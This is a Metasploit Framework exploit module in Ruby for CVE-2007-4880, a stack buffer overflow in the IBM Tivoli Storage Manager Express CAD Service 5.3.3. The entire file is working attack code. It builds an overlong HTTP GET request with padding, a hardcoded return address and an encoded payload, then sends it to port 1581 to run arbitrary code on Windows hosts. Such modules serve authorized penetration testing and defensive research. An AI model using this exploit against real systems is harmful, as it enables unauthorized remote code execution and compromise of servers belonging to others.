IBM Tivoli Storage Manager Express CAD Service Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).  
By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-4880' ],  
[ 'OSVDB', '38161' ],  
[ 'BID', '25743' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'IBM Tivoli Storage Manager Express 5.3.3', { 'Ret' => 0x0289fbe3 } ], # dbghelp.dll  
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Sept 24 2007'))  
  
register_options( [ Opt::RPORT(1581) ], self.class )  
  
end  
  
def exploit  
connect  
  
sploit = "GET /BACLIENT HTTP/1.1\r\n"  
sploit << "Host: 127.0.0.1 " + rand_text_alpha_upper(190)   
sploit << [target.ret].pack('V') + payload.encoded   
  
print_status("Trying target %s..." % target.name)  
  
sock.put(sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`